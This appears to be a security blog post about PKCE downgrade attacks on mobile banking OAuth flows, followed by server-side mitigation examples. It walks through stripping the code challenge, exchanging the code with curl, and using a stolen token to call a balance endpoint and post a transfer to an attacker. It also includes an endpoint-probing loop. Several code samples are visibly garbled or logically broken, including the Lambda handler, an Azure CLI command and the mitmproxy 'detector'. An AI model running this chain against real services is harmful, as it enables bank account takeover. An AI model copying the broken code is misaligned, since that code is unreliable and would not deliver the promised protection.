Listen to this Post
Introduction:
Proof Key for Code Exchange (PKCE, pronounced “pixie”) was designed to secure OAuth 2.0 authorization codes in public clients like mobile banking apps. However, many implementations fail to enforce the code_challenge properly, allowing attackers to strip the challenge and revert to a plain OAuth flow—a PKCE downgrade attack. This misconfiguration, recently discovered across multiple banking apps, directly enables account takeover (ATO) without the need for sophisticated exploits.
Learning Objectives:
– Understand how PKCE downgrade attacks bypass intended authorization code protections
– Learn to identify vulnerable OAuth endpoints using interception tools and custom scripts
– Implement server‑side mitigations that strictly enforce PKCE parameters and reject downgrade attempts
You Should Know:
1. PKCE Downgrade Attack Deep Dive – Intercepting and Stripping the Code Challenge
The attack vector is deceptively simple: intercept the authorization request, remove the `code_challenge` and `code_challenge_method` parameters, and forward the stripped request to the server. If the server fails to validate that a public client must provide PKCE parameters, it issues an authorization code without any binding to a verifier. The attacker then exchanges that code using only the `client_id` and `redirect_uri`—no `code_verifier` required.
Step‑by‑step guide to simulate the attack (educational use only):
1. Set up an interception proxy (Burp Suite or mitmproxy) on your testing device.
2. Capture the initial OAuth authorization request from the banking app. A typical request looks like:
GET /authorize?response_type=code&client_id=bank_app&redirect_uri=bank://callback&code_challenge=E9Melhoa2OwvFrEMTJguCHaoeK1t8URWbuGJSstw-cM&code_challenge_method=S256 HTTP/1.1
3. Modify the request by removing the `code_challenge` and `code_challenge_method` parameters:
GET /authorize?response_type=code&client_id=bank_app&redirect_uri=bank://callback HTTP/1.1
4. Forward the modified request to the server. If the server accepts it and returns an authorization code (e.g., `?code=abc123`), the endpoint is vulnerable.
5. Exchange the code for tokens using a standard OAuth token request without `code_verifier`:
curl -X POST https://bank.com/token \ -d "grant_type=authorization_code" \ -d "code=abc123" \ -d "client_id=bank_app" \ -d "redirect_uri=bank://callback"
If the server issues `access_token` and `refresh_token`, the downgrade attack succeeds.
Linux / Windows commands for automation:
– Linux (using `curl` and `jq`):
Extract code from location header after downgrade curl -i "https://bank.com/authorize?response_type=code&client_id=vuln_app&redirect_uri=app://cb" 2>&1 | grep -i location
– Windows PowerShell (Invoke-WebRequest):
$response = Invoke-WebRequest -Uri "https://bank.com/authorize?response_type=code&client_id=vuln_app&redirect_uri=app://cb" -MaximumRedirection 0 $response.Headers.Location
2. Detecting PKCE Misconfigurations with mitmproxy and Custom Scripts
Automated detection helps scale testing across multiple banking apps. Using mitmproxy, you can write a script that logs any authorization request missing PKCE parameters when the client originally included them.
Step‑by‑step guide:
1. Install mitmproxy:
Linux (Debian/Ubuntu) sudo apt install mitmproxy macOS brew install mitmproxy Windows (via chocolatey) choco install mitmproxy
2. Create a Python addon script `pkce_downgrade_detector.py`:
from mitmproxy import http
def request(flow: http.HTTPFlow) -> None:
if "/authorize" in flow.request.path:
params = flow.request.query
if "code_challenge" in params:
Store original state in a flag
flow.request.headers["X-Original-PKCE"] = "present"
elif flow.request.headers.get("X-Original-PKCE") == "present":
Challenge was stripped
print(f"[!] PKCE downgrade detected on {flow.request.pretty_url}")
3. Run mitmproxy with the script:
mitmproxy -s pkce_downgrade_detector.py
4. Configure your test device to use the mitmproxy CA and intercept traffic. Any successful downgrade will trigger an alert.
3. Exploiting the Downgrade for Account Takeover (ATO) – Full Attack Chain
Once the PKCE protection is removed, the attacker can perform a classic OAuth authorization code interception attack. For mobile banking apps, this often leads to full ATO because the issued tokens grant access to sensitive endpoints.
Attack flow (demonstration for defensive purposes):
1. Attacker tricks the user into clicking a malicious link that initiates the stripped OAuth flow.
2. The user authenticates (unaware of missing PKCE) and the authorization code is returned to the attacker’s controlled redirect URI.
3. Attacker exchanges the code for tokens as shown in section 1.
4. Using the stolen `access_token`, the attacker calls banking APIs:
curl -H "Authorization: Bearer eyJhbGciOiJSUzI1NiIs..." https://bank.com/api/account/balance
curl -H "Authorization: Bearer ..." https://bank.com/api/transfer -d '{"to":"attacker","amount":1000}'
Mitigation validation (server‑side fix):
– Servers must reject any token request that lacks `code_verifier` if the corresponding authorization request originally contained a `code_challenge`. However, the simplest robust fix is to require PKCE for all public clients unconditionally. Example validation logic in Node.js/Express:
if (client.isPublic()) {
if (!req.query.code_challenge || !req.query.code_challenge_method) {
return res.status(400).send('PKCE required for public clients');
}
}
4. Cloud Hardening for OAuth Endpoints – Enforcing PKCE at the API Gateway
Many banking apps deploy OAuth behind cloud API gateways (AWS API Gateway, Azure API Management, or Cloudflare). These layers can enforce PKCE compliance before requests reach the authorization server.
Step‑by‑step example using AWS WAF + Lambda@Edge:
1. Create a Lambda@Edge function that inspects the `/authorize` request.
2. Check for public client heuristic (e.g., missing `client_secret` or a specific `token_endpoint_auth_method`).
3. If the client is public and `code_challenge` is absent, return a `400 Bad Request`:
def lambda_handler(event, context):
request = event['Records'][bash]['cf']['request']
params = request['querystring']
if 'client_secret' not in params and 'code_challenge' not in params:
response = {
'status': '400',
'statusDescription': 'PKCE code_challenge required',
'body': 'Public clients must use PKCE'
}
return response
return request
4. Attach the Lambda to the CloudFront distribution fronting your OAuth endpoint.
Windows / cloud CLI commands:
Azure: Add a policy to reject PKCE downgrade in APIM az apim api policy show --api-id oauth-api --resource-group bank-rg --service-1ame bank-apim
5. Testing Real Banking Apps – Manual Verification Steps (Authorized Testing Only)
Security researchers and red teams should follow a structured methodology to confirm PKCE downgrade vulnerabilities without breaking live services.
Checklist for authorized penetration tests:
– Step 1: Identify OAuth endpoints via static analysis or intercepted traffic. Look for `/authorize`, `/token`, and `code_challenge` parameters.
– Step 2: Using Burp Suite, send the original request to Repeater. Duplicate the tab and remove PKCE parameters.
– Step 3: Compare responses – if both return a `302` with a `code`, the server is vulnerable.
– Step 4: Attempt token exchange without `code_verifier` using the code from the downgraded request.
– Step 5: If tokens are issued, test scope – can the tokens access high‑privilege endpoints? Often banking apps grant full ATO.
Linux command to brute‑force detection across multiple endpoints (low‑rate, for labs):
Use a wordlist of potential OAuth paths
while read path; do
curl -s -o /dev/null -w "%{http_code} %{url_effective}\n" "https://target.com$path?response_type=code&client_id=bank"
done < oauth_paths.txt
6. Remediation – Server‑Side Configuration Fixes for OAuth Providers
The root cause is always on the authorization server. Developers must update the OAuth implementation to reject any authorization request from a public client that lacks PKCE parameters. Additionally, the token endpoint must verify that a `code_verifier` is present and matches the stored `code_challenge` for every code issued.
Example fix in Spring Security (Java):
@Bean
public OAuth2AuthorizationService authorizationService() {
return new InMemoryOAuth2AuthorizationService() {
@Override
public void save(OAuth2Authorization authorization) {
OAuth2ClientAuthenticationMethod method = authorization.getAttribute("client_authentication_method");
if (method == OAuth2ClientAuthenticationMethod.NONE) { // public client
if (authorization.getAttribute("code_challenge") == null) {
throw new IllegalArgumentException("PKCE challenge required");
}
}
super.save(authorization);
}
};
}
Windows / IIS URL Rewrite rule to block PKCE‑less requests:
<rule name="Block PKCE downgrade" stopProcessing="true">
<match url="^authorize" />
<conditions>
<add input="{QUERY_STRING}" pattern="client_secret=" negate="true" />
<add input="{QUERY_STRING}" pattern="code_challenge=" negate="true" />
</conditions>
<action type="AbortRequest" />
</rule>
7. Hardening Mobile Apps – Preventing Interception of Authorization Requests
While server‑side fixes are mandatory, mobile apps can add defense‑in‑depth by using certificate pinning and runtime integrity checks to make interception harder for attackers. However, these are bypassable; the real solution remains backend enforcement.
Android / iOS code snippet for pinning (example using OkHttp on Android):
val pinner = CertificatePinner.Builder()
.add("bank.com", "sha256/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=")
.build()
val client = OkHttpClient.Builder()
.certificatePinner(pinner)
.build()
Test that pinning does not protect against PKCE downgrade – the attack happens at the OAuth parameter level, not TLS layer. Therefore, always focus remediation on the authorization server.
What Undercode Say:
– Key Takeaway 1: PKCE downgrade is not a flaw in the OAuth specification but a dangerous implementation gap. Servers that treat `code_challenge` as optional for public clients actively undermine PKCE’s security guarantees.
– Key Takeaway 2: The attack requires no advanced tooling—only a basic proxy and parameter removal. Its simplicity explains why multiple banking apps remain vulnerable despite widespread PKCE adoption.
Analysis (10 lines):
The discovery that several banking apps allow PKCE downgrade highlights a systemic issue in OAuth deployment: developers often assume that adding PKCE to the client automatically secures the flow. They forget that the server must enforce it. Attackers love these “optional security” patterns because they demand minimal effort for maximum impact—account takeover. The problem is exacerbated by mobile apps that never expose client secrets, making them public clients by definition. Without mandatory PKCE enforcement, any man‑in‑the‑middle or malicious redirect can strip the challenge and obtain a valid auth code. Financial regulators should mandate PKCE enforcement audits. From a defensive perspective, the fix is trivial: add three lines of server validation. Yet the prevalence of this misconfiguration shows how often security features become decorative rather than functional. Organizations must move from “supporting PKCE” to “requiring PKCE” in their OAuth policies. Until then, banking apps will keep bleeding authorization codes to attackers.
Prediction:
– -1 Increased regulatory scrutiny: Expect banking regulators (e.g., FFIEC, EBA, RBI) to issue explicit guidance requiring mandatory PKCE enforcement for all public‑client OAuth flows, with potential fines for non‑compliance.
– -1 Weaponization in automated attack toolkits: PKCE downgrade will be added to commercial and open‑source ATO tools (e.g., OAuth‑Attacker, Burp extensions), dramatically scaling the number of vulnerable apps exploited.
– +1 Shift to backend‑first OAuth frameworks: Frameworks like Spring Authorization Server and Duende IdentityServer will enable “PKCE required” by default for public clients, reducing human error. This positive change will lower the attack surface over the next 12–18 months.
– -1 Short‑term breach wave: Before patches roll out, threat actors will actively scan financial mobile apps for PKCE downgrade, likely causing several high‑profile account takeover incidents in the coming months.
▶️ Related Video (84% Match):
🎯Let’s Practice For Free:
🎓 Live Courses & Certifications:
[Join Undercode Academy for Verified Certifications](https://undercode.co.uk/certifications/)
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[[email protected]](mailto:[email protected])
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
IT/Security Reporter URL:
Reported By: [Sanadhya K](https://www.linkedin.com/posts/sanadhya-k-aaa125236_most-of-the-banking-apps-are-vulnerable-to-share-7468266081741291520-qmVv/) – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]
[💬 Whatsapp](https://undercode.help/whatsapp) | [💬 Telegram](https://t.me/UndercodeCommunity)
📢 Follow UndercodeTesting & Stay Tuned:
[𝕏 formerly Twitter 🐦](https://x.com/undercodeupdate) | [@ Threads](https://www.threads.net/@undercodetesting) | [🔗 Linkedin](https://www.linkedin.com/company/undercodetesting/) | [🦋BlueSky](https://bsky.app/profile/undercode.bsky.social)
